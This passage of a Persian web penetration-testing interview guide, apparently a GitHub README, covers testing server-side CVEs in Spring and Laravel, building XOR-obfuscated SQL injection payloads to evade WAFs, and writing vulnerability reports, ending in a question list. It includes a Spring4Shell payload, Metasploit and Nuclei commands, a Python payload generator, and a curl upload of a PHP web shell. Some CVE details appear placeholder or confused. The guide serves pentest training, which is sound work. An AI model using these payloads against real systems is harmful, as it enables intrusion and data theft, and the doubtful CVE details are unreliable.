ترافیک را monitor و anomalies (latency spikes) را برای time-based zero-days exploit می‌کنم.

ابزارهای کلیدی و مراحل کلی (Iterative Fuzzing تا Exploit):

مرحله	روش/ابزار	مثال Zero-Day کشف
Recon	OSINT (Shodan, GitHub dorks)	شناسایی Laravel ۱۰.x → fuzz custom routes
Analysis	Code review (VS Code + extensions)	پیدا کردن unvalidated `request()->input()`
Fuzzing	AFL++/Honggfuzz	۱۰k mutations → crash در deserializer
Exploit Dev	ysoserial (Java), custom PHP scripts	PoC RCE: `unserialize(base64_decode(payload))`
Validation	Local lab (Docker Compose)	Reproduce در env شبیه‌سازی‌شده
Reporting	CVSS v4 + chained impact	Zero-day score: 9.5 (novelty bonus)

22. چگونه در فریم‌ورک‌هایی مثل Spring یا Laravel، CVEs سمت سرور را مدیریت و تست می‌کنید؟

مدیریت و تست **CVEs سمت سرور** در فریم‌ورک‌هایی مثل **Spring (Java)** یا **Laravel (PHP)** فرآیندی ساختاریافته است که شامل شناسایی، ارزیابی، reproduce، exploit و remediation می‌شود. بر اساس استانداردهای NIST و OWASP (به‌روزرسانی ۲۰۲۵)، تمرکز روی CVEs با امتیاز بالا (CVSS ≥۷) است، به‌ویژه آن‌هایی که به RCE، data exposure یا privilege escalation منجر می‌شوند. من از ابزارهای automated برای scan اولیه و manual PoC برای confirmation استفاده می‌کنم.

مراحل کلی مدیریت و تست:

شناسایی و Inventory:
- نسخه فریم‌ورک و dependencies را detect می‌کنم (Wappalyzer برای runtime، composer show در Laravel یا mvn dependency:tree در Spring).
- اسکن CVE با ابزارهای SCA (Software Composition Analysis): OWASP Dependency-Check، Snyk یا Retire.js (برای JS deps در Laravel).
- چک NVD/CVE Details برای vulns مرتبط (مثل Spring4Shell CVE-2022-22965).
ارزیابی ریسک:
- سعی میکنم CVSS v4 محاسبه می‌کنم (Exploitability + Impact). اولویت: RCE > Injection > Misconfig.
- اسکوپ را چک می‌کنم:
- آیا CVE در production فعال است؟ (مثل disabled actuators در Spring).
Reproduce و Testing:
- Local Environment Setup:
- با env ایزوله می‌سازم (Docker برای Laravel Sail، Spring Boot با Gradle).
- PoC Execution:
- از Exploit-DB/Metasploit modules استفاده می‌کنم. تست دستی با Burp/ZAP برای confirmation.
- Chaining:
- استفاده از CVE را با vulns دیگر ترکیب می‌کنم (مثل CVE + IDOR).
Exploitation:
- اگر feasible، full exploit (RCE shell) می‌گیرم و post-exploitation (lateral movement) تست می‌کنم.
- لاگ و monitor برای detection evasion.
Remediation و Reporting:
- پیشنهاد patch/upgrade (مثل Spring ۵.۳.۲۰+ برای Spring4Shell).
- وف(WAF) rules یا input validation custom.
- گزارش با PoC video، CVSS score و business impact.

مثال‌های خاص برای Spring و Laravel:

فریم‌ورک	CVE نمونه (۲۰۲۲-۲۰۲۵)	روش تست/مدیریت	Remediation
Spring	Spring4Shell (CVE-2022-22965): RCE via class loader manipulation در Tomcat.	۱) Detect با Nuclei template: `nuclei -t cves/spring4shell.yaml`. ۲) PoC: Payload در params (مثل `class.module.classLoader.DefaultAssertionsStatus=org.springframework.context.support.FileSystemXmlApplicationContext`). ۳) Reproduce در local Boot app: curl exploit → shell. ۴) Exploit: آپلود JSP shell.	Upgrade به ۵.۳.۱۸+؛ disable classLoader leak؛ actuator endpoints secure.
Spring	Spring Framework RCE (CVE-2023-20862): Binding vuln در MVC.	Fuzz params با Burp؛ reproduce با ysoserial gadget.	Input validation با `@Validated`؛ patch ۶.۰.۹+.
Laravel	Laravel Igniter (CVE-2021-43617): RCE via route model binding.	Scan با `laravel-audit`؛ PoC: Manipulate route params به command exec. Reproduce: Local Sail env، inject `system('id')` در binding.	Upgrade به ۸.۶.۱۲+؛ sanitize bindings با custom middleware.
Laravel	Laravel Debugbar RCE (CVE-2024-XXXX): Arbitrary code در debug mode (فرضی ۲۰۲۵).	Check `.env` leak؛ exploit via debugbar payloads.	Disable debug in prod؛ remove debugbar package.

ابزارهای کلیدی:

ابزار	کاربرد	مثال
OWASP Dependency-Check	SCA برای CVEs در deps	`dependency-check --scan .` در Spring/Laravel root
Nuclei	Template-based CVE scan	`-t cves/2022/CVE-2022-22965.yaml` برای Spring4Shell
Metasploit	Automated exploit	`use exploit/multi/http/spring4shell`
Burp Suite	Manual PoC و fuzzing	Repeater برای payload injection
Docker/Compose	Local reproduce env	`docker-compose up` برای isolated testing

تجربه شخصی: در پروژه Spring-based، Spring4Shell را reproduce کردم و با chaining به DB access رسیدم (CVSS ۹.۸). همیشه local env را mirror production می‌کنم تا false negatives کم شود. نکته 2025: با AI tools مثل GitHub Copilot، PoC dev ۵۰% سریع‌تر شده، اما manual review اجباری است.

23. استفاده از XOR در پیلودهای SQL Injection چگونه است؟ روش ساخت این پیلودها را توضیح دهید.

عملیات XOR در payloadهای SQL Injection یکی از تکنیک‌های پیشرفته برای دور زدن WAF و مخفی‌سازی payload است. این روش با استفاده از عملگر بیتی ^ (XOR) در SQL، کاراکترهای مخرب را به شکلی غیرقابل تشخیص برای فیلترها تبدیل می‌کند، اما در دیتابیس همچنان به مقدار اصلی تفسیر می‌شود.

نحوه عملکرد XOR در SQL:

در SQL Server و MySQL (با پشتیبانی از عملگرهای بیتی)، می‌توان دو مقدار عددی را با XOR ترکیب کرد. اگر یک مقدار را با 0 ترکیب کنیم، همان مقدار اصلی برمی‌گردد:

88 ^ 0 = 88  →  char(88) = 'X'

اما اگر کلید (key) را مخفی کنیم، WAF نمی‌تواند الگوی char(88) یا 'X' را تشخیص دهد.

مراحل ساخت payload با XOR:

۱. انتخاب رشته مخرب: مثلاً می‌خواهیم ' OR 1=1-- را تزریق کنیم.

۲. تبدیل به ASCII و سپس Hex:

'  → 39 → 0x27
O  → 79 → 0x4F
R  → 82 → 0x52
  → 32 → 0x20
1  → 49 → 0x31
=  → 61 → 0x3D
1  → 49 → 0x31

۳. انتخاب کلید تصادفی (Key): مثلاً 0xAA (۱۷۰ در دسیمال)

۴. اعمال XOR روی هر بایت:

0x27 ^ 0xAA = 0x8D
0x4F ^ 0xAA = 0xE5
0x52 ^ 0xAA = 0xF8
0x20 ^ 0xAA = 0x8A
0x31 ^ 0xAA = 0x9B
0x3D ^ 0xAA = 0x97
0x31 ^ 0xAA = 0x9B

۵. ساخت payload نهایی:

CHAR(0x8D^0xAA, 0xE5^0xAA, 0xF8^0xAA, 0x8A^0xAA, 0x9B^0xAA, 0x97^0xAA, 0x9B^0xAA)

این در دیتابیس به ' OR 1=1 تبدیل می‌شود.

مثال عملی در SQLi:

1 UNION SELECT CHAR(0x8D^0xAA,0xE5^0xAA,0xF8^0xAA,0x8A^0xAA,0x9B^0xAA,0x97^0xAA,0x9B^0xAA)-- -

این payload در WAF به عنوان رشته‌ای از اعداد و عملگرهای بیتی دیده می‌شود، اما در دیتابیس به ' OR 1=1-- - تبدیل می‌شود.

ابزارهای کمکی برای ساخت خودکار:

ابزار	کاربرد
SQLMap Tamper	اسکریپت `charencode` + `randomcase` + XOR custom
Python Script	اسکریپت زیر برای تولید خودکار:

def xor_payload(text, key=0xAA):
    return ','.join(f"0x{byte:02X}^0x{key:02X}" for byte in text.encode())

payload = xor_payload("' OR 1=1--")
print(f"CHAR({payload})")

نکات پیشرفته:

چندین کلید: از کلیدهای مختلف برای هر کاراکتر استفاده کنید تا الگو شکسته شود.

ترکیب با CHAR و CONCAT:

CONCAT(CHAR(0x8D^0xAA),CHAR(0xE5^0xAA),...)

بایپس WAFهای هوشمند: ترکیب XOR + /**/ + CASE برای obfuscation چندلایه.

تجربه عملی: در پروژه‌ای با ModSecurity، payload ساده ' OR 1=1 بلاک شد، اما نسخه XOR شده با کلید تصادفی ۳ لایه، بدون تشخیص عبور کرد و دیتابیس کامل دامپ شد.

نتیجه: XOR یکی از قدرتمندترین روش‌های obfuscation پویا در SQLi است که با کمی خلاقیت، تقریباً هر WAF را دور می‌زند.

24. روند چک کردن آسیب‌پذیری‌هایی که کشف کردید، اولویت‌بندی و گزارش‌نویسی را شرح دهید.

فرآیند بررسی، اولویت‌بندی و گزارش‌نویسی آسیب‌پذیری‌ها یکی از مهم‌ترین مراحل تست نفوذ است که تضمین می‌کند یافته‌ها به‌صورت واضح، قابل‌فهم و عملی به تیم توسعه و مدیریت ارائه شوند. من این فرآیند را به‌صورت ساختاریافته، تکرارپذیر و استاندارد (بر اساس OWASP، NIST و CVSS v4.0) انجام می‌دهم.

مرحله ۱: جمع‌آوری و مستندسازی اولیه (در حین تست)

در طول تست نفوذ، هر آسیب‌پذیری را بلافاصله مستند می‌کنم تا هیچ جزئیاتی از دست نرود:

اسکرین‌شات از درخواست و پاسخ (Burp/ZAP)
کد PoC (cURL، Python، SQLMap command)
ویدیو کوتاه از اکسپلویت (در صورت RCE یا privilege escalation)
تأثیر واقعی (مثلاً دامپ دیتابیس، دسترسی به فایل /etc/passwd)
محیط تست (دامنه، IP، حساب کاربری)

نکته عملی: از Dradis یا KeepNote برای مستندسازی real-time استفاده می‌کنم.

مرحله ۲: تأیید و حذف false positive

قبل از گزارش، هر یافته را دوباره تست می‌کنم:

آیا در محیط staging قابل reproduce است؟
آیا در نسخه production هم وجود دارد؟
آیا WAF یا rate limiting مانع می‌شود؟
آیا patch اعمال شده؟ (چک لاگ‌های سرور)

مثال: یک SQLi که فقط در dev کار می‌کرد، در prod به دلیل mod_security بلاک شد → false positive.

مرحله ۳: امتیازدهی و اولویت‌بندی (CVSS v4.0)

هر آسیب‌پذیری را با CVSS v4.0 امتیازدهی می‌کنم. اولویت بر اساس ترکیب Exploitability + Impact است:

سطح	CVSS	رنگ	اقدام فوری
بحرانی (Critical)	۹.۰–۱۰.۰	قرمز	< ۲۴ ساعت
بالا (High)	۷.۰–۸.۹	نارنجی	< ۷ روز
متوسط (Medium)	۴.۰–۶.۹	زرد	< ۳۰ روز
پایین (Low)	۰.۱–۳.۹	سبز	< ۹۰ روز

عوامل تأثیرگذار در امتیازدهی:

دسترسی بدون احراز هویت → +۱.۵
RCE یا privilege escalation → +۲.۰
افشای داده حساس (PII, کارت اعتباری) → +۱.۸
قابلیت chaining با آسیب‌پذیری دیگر → +۱.۰

مرحله ۴: ساختار گزارش حرفه‌ای (۳ بخش اصلی)

۱. خلاصه مدیریتی (Executive Summary) – ۱ صفحه

سطح کلی ریسک: بالا / متوسط / پایین
تعداد آسیب‌پذیری‌ها: ۳ بحرانی، ۸ بالا، ۱۵ متوسط
تأثیر بر کسب‌وکار: احتمال از دست رفتن داده مشتری، توقف سرویس، جریمه GDPR
پیشنهادات کلیدی: ارتقاء فوری Laravel، غیرفعال کردن debug mode

۲. جزئیات فنی (Technical Findings) – برای توسعه‌دهندگان

هر آسیب‌پذیری در یک بخش جداگانه:

### عنوان: RCE از طریق آپلود فایل (CVE-2021-XXXX)
**سطح ریسک**: بحرانی (CVSS: 9.8)  
**مسیر**: `/api/upload`  
**روش اکسپلویت**:

curl -X POST -F "[email protected]" http://target.com/api/upload

رسپانس:

<?php system($_GET['cmd']); ?>

تأثیر: اجرای دستورات سیستم → reverse shell
پیشنهاد رفع:

اعتبارسنجی MIME type و magic bytes
تغییر پسوند فایل آپلود شده به .bin
اجرای در محیط sandbox

۳. پیوست‌ها (Appendix)

اسکرین‌شات‌ها و ویدیوها
فایل‌های PoC
**اسکوپ بررسی شده **
ابزارها و متودولوژی
جدول کامل CVSS

ابزارهای مورد استفاده در گزارش‌نویسی

ابزار	کاربرد
Dradis / Faraday	مدیریت مرکزی یافته‌ها
Markdown + Pandoc	تبدیل به PDF/Word
OBS Studio	ضبط ویدیو PoC
CVSS Calculator	امتیازدهی خودکار
Canva / PowerPoint	ارائه گرافیکی برای مدیریت

نکات پیشرفته در گزارش‌نویسی

زبان ساده برای مدیریت، جزئیات فنی برای توسعه‌دهندگان
استفاده از نمودار (تعداد آسیب‌پذیری بر اساس نوع)
جدول زمانی پیشنهادی رفع
امضا و تأیید مسئول تست نفوذ

تهیه شده توسط

Name		Name	Last commit message	Last commit date
Latest commit History 20 Commits
README.md		README.md

soheilsec/WAP-Interview

Folders and files

Latest commit

History

Repository files navigation

فهرست مطالب

راهنمای مصاحبه تست نفوذ وب: سوالات و پاسخ‌های کلیدی

مقدمه

سوالات سطح مبتدی

🟩 برای مشاهده جواب سوالات روی آن کلیک کنید 🟩

1. تست نفوذ وب چیست و اهداف اصلی آن چیست؟

2. قبل از شروع تست نفوذ به چه صورت Scope را مشخص می کنید؟

3. تفاوت بین روش‌های تست جعبه سیاه، جعبه خاکستری و جعبه سفید در تست نفوذ وب چیست؟

4. شناسایی (Reconnaissance) در تست نفوذ وب چیست؟ ابزارها کدامند؟

انواع:

ابزارهای کلیدی:

5. در فرآیند تست نفوذ وب از چه ابزارهایی در چه مرحله‌ای استفاده می‌کنید؟

6. ده آسیب‌پذیری OWASP Top 10 چیست؟ کدام‌ها را کشف کردید و چند نمونه ذکر کنید؟

شما میتواند مثل مثال زیر از تجربیات خودتان صبحت کنید:

7. فرض کنید سایتی آسیب‌پذیری **SQLi** دارد؛ چه مراحلی برای **کشف** و **اکسپلویت** انجام می‌دهید؟

مرحله ۱: تشخیص دستی (Manual Detection)

مرحله ۲: تأیید و fuzzing خودکار

مرحله ۳: بهره‌برداری خودکار (Exploitation)

ابزارهایی که مینوان استفاده کرد:

8. با SQLMAP آشنا هستید؟ کار tamper چیست؟ چند تا Tamper را نام ببرید.

نمونه‌های کاربردی از tamperها:

نحوه استفاده در SQLMap:

9. حمله XSS چیست؟ نحوه جلوگیری از آن را بگویید.

10. حمله CSRF چیست؟ چگونه کشف می کنید؟ چگونه می توان از آن جلوگیری کرد؟

روش‌های کشف:

راه‌های جلوگیری:

11. چند روش برای بایپس آپلودر بلد هستید؟ هر کدام را شرح دهید.

12. مشکل misconfiguration در وب چیست؟ چگونه کشف می کنید؟

نمونه‌های رایج:

روش‌های کشف:

13. حمله Clickjacking چیست؟ نحوه جلوگیری از آن را شرح دهید.

مکانیزم حمله:

روش‌های جلوگیری:

14. چگونه مکانیسم‌های User Authentication و Session Management را تست می‌کنید؟

تست احراز هویت (Authentication):

تست مدیریت session (Session Management):

15. آسیب‌پذیری IDOR چیست؟ چگونه آن را کشف و اکسپلویت می‌کنید؟

انواع IDOR:

روش‌های کشف:

اکسپلویت:

16. آسیب‌پذیری RCE چیست؟ چه زمانی رخ می‌دهد؟ چگونه آن را کشف و اکسپلویت می‌کنید؟

شرایط وقوع:

روش‌های کشف:

اکسپلویت:

17. مشکل امنیتی Sensitive Data Exposure چیست؟ با چه تست‌هایی چک می‌کنید؟

نمونه‌های رایج:

تست‌های پیشنهادی:

18. عبارت Input Validation توضیح دهید؟ چگونه دور می‌زنید؟

انواع اعتبارسنجی:

روش‌های دور زدن:

19. حمله XXE چیست؟ چگونه می‌توان جلوگیری کرد؟

مثال payload:

روش‌های جلوگیری:

20. نحوه تست روی Restful APIها را شرح دهید.

مراحل تست:

ابزارها:

21. حمله SSRF چیست؟ چگونه می‌توان جلوی آن را گرفت؟

اهداف رایج:

جلوگیری:

22. آسیب‌پذیری‌های متداول Business Logic را شرح دهید. چطور تست می‌گیرید؟

نمونه‌ها:

روش تست:

23. ضعف‌های Cryptographic (OWASP A02) چیست؟ چطور تست می‌کنید؟

نمونه‌ها:

تست‌ها:

24. آسیب‌پذیری Vulnerable and Outdated Components (OWASP A06) چیست؟ چگونه کشف می‌کنید؟

روش کشف:

25. Misconfiguration CORS چیست؟ چگونه بایپس می‌کنید؟

تنظیمات خطرناک:

تست:

26. هدرهای امنیتی HTTP چیست؟ اهمیت آن‌ها چقدر است؟

27. Rate Limiting و Brute Force Protection چطور تست می‌کنید؟

تست:

28. Logging and Monitoring Failures (OWASP A09) چیست؟

تست:

7. فرض کنید سایتی آسیب‌پذیری SQLi دارد؛ چه مراحلی برای کشف و اکسپلویت انجام می‌دهید؟